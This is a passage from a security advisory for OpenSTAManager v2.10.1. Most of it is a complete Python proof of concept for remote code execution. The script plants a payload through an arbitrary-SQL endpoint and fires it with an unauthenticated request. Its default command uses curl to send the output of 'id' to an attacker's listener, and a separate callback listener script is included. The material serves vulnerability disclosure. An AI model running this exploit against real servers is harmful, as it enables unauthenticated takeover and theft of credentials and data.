Advisory

GHSA-whv5-4q2f-q68g

Details, part 2 of 3. The advisory

Details

"$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); "
"echo $pdo->query(\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\")->fetchColumn();"],
capture_output=True, text=True,
)
if result.stdout.strip().isdigit():
module_id = int(result.stdout.strip())
log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
return module_id

log("Could not find module ID", "-")
sys.exit(1)

def inject_payload(session, target, module_id, payload_bytes, state_value):
step_header(4, "Inject Payload via Arbitrary SQL")

hex_payload = payload_bytes.hex()
record_id = random.randint(90000, 99999)

queries = [
f"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'",
f"INSERT INTO zz_oauth2 "
f"(id, name, class, client_id, client_secret, config, "
f"state, access_token, after_configuration, is_login, enabled) VALUES "
f"({record_id}, 'poc', 'Modules\\\\Emails\\\\OAuth2\\\\Google', "
f"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)",
"CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)",
"DROP TABLE IF EXISTS _poc_ddl_commit",
]

log(f"State trigger: {BOLD}{state_value}{RESET}")
log(f"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)")
log("Sending to actions.php...")

resp = session.post(
f"{target}/actions.php",
data={"op": "risolvi-conflitti-database", "id_module": str(module_id), "id_record": "", "queries": json.dumps(queries)},
timeout=15,
)

try:
result = json.loads(resp.text)
if result.get("success"):
log("Payload planted in zz_oauth2.access_token", "+")
return True
else:
log(f"Injection failed: {result.get('message', '?')}", "-")
return False
except json.JSONDecodeError:
log(f"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}", "-")
return False

def trigger_rce(target, state_value):
step_header(5, "Trigger RCE (NO AUTHENTICATION)")

url = f"{target}/oauth2.php"
log(f"GET {url}?state={state_value}&code=x")
log(f"{DIM}(This request is UNAUTHENTICATED){RESET}")

try:
resp = requests.get(url, params={"state": state_value, "code": "x"}, allow_redirects=False, timeout=15)
log(f"HTTP {resp.status_code}", "+")
if resp.status_code == 500:
log(f"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}")
except requests.exceptions.Timeout:
log("Timed out (command may still have executed)", "!")
except requests.exceptions.ConnectionError as e:
log(f"Connection error: {e}", "-")

def main():
parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC")
parser.add_argument("--target", required=True, help="Target URL")
parser.add_argument("--callback", required=True, help="Attacker listener URL reachable from the container")
parser.add_argument("--user", default="admin", help="Username (default: admin)")
parser.add_argument("--password", required=True, help="Password")
parser.add_argument("--container", default="osm-web", help="Docker web container (default: osm-web)")
parser.add_argument("--command", help="Custom command (default: curl callback with id output)")
args = parser.parse_args()

print(BANNER)

target = args.target.rstrip("/")
callback = args.callback.rstrip("/")
state_value = "poc-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=12))
command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)"

payload = generate_payload(args.container, command)
session = authenticate(target, args.user, args.password)
module_id = find_module_id(session, target, args.container)

if not inject_payload(session, target, module_id, payload, state_value):
log("Exploit failed at injection step", "-")
sys.exit(1)

time.sleep(1)
trigger_rce(target, state_value)

print(f"\n {BOLD}── Result ──{RESET}\n")
log("Exploit complete. Check your listener for the callback.", "+")
log("Expected: GET /rce-<base64(id)>")
log(f"If no callback, verify the container can reach: {callback}", "!")

if __name__ == "__main__":
main()


### Listener — `listener.py`

```python
#!/usr/bin/env python3
"""OpenSTAManager v2.10.1 — RCE Callback Listener"""

import argparse
import base64
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"


class CallbackHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"\n  {RED}{'=' * 58}{RESET}")
        print(f"  {RED}{BOLD}  RCE CALLBACK RECEIVED{RESET}")
        print(f"  {RED}{'=' * 58}{RESET}")
        print(f"  {GREEN}[+]{RESET} Time : {ts}")
        print(f"  {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}")
        print(f"  {GREEN}[+]{RESET} Path : {self.path}")

        for part in self.path.lstrip("/").split("/"):
            if part.startswith("rce-"):
                try:
                    decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace")
                    print(f"  {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}")
                except Exception:
                    print(f"  {YELLOW}[!]{RESET} Raw : {part[4:]}")

        print(f"  {RED}{'=' * 58}{RESET}\n")
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"OK")

    def do_POST(self):
        self.do_GET()

    def log_message(self, format, *args):
        pass


def main():
    parser = argparse.ArgumentParser(description="RCE callback listener")
    parser.add_argument("--port", type=int, default=9999, help="Listen port (default: 9999)")
    args = parser.parse_args()

    server = HTTPServer(("0.0.0.0", args.port), CallbackHandler)
    print(f"\n  {BLUE}{'=' * 58}{RESET}")
    print(f"  {BLUE}{BOLD}  OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}")
    print(f"  {BLUE}{'=' * 58}{RESET}")
    print(f"  {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}")
    print(f"  {YELLOW}[!]{RESET} Waiting for callback...\n")

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print(f"\n  {YELLOW}[!]{RESET} Stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

Impact

  • Confidentiality: Read server files, database credentials, API keys
  • Integrity: Write files, install backdoors, modify application code
  • Availability: Delete files, denial of service
  • Scope: Command execution as www-data allows pivoting to other systems on the network

Proposed remediation

Sources & licences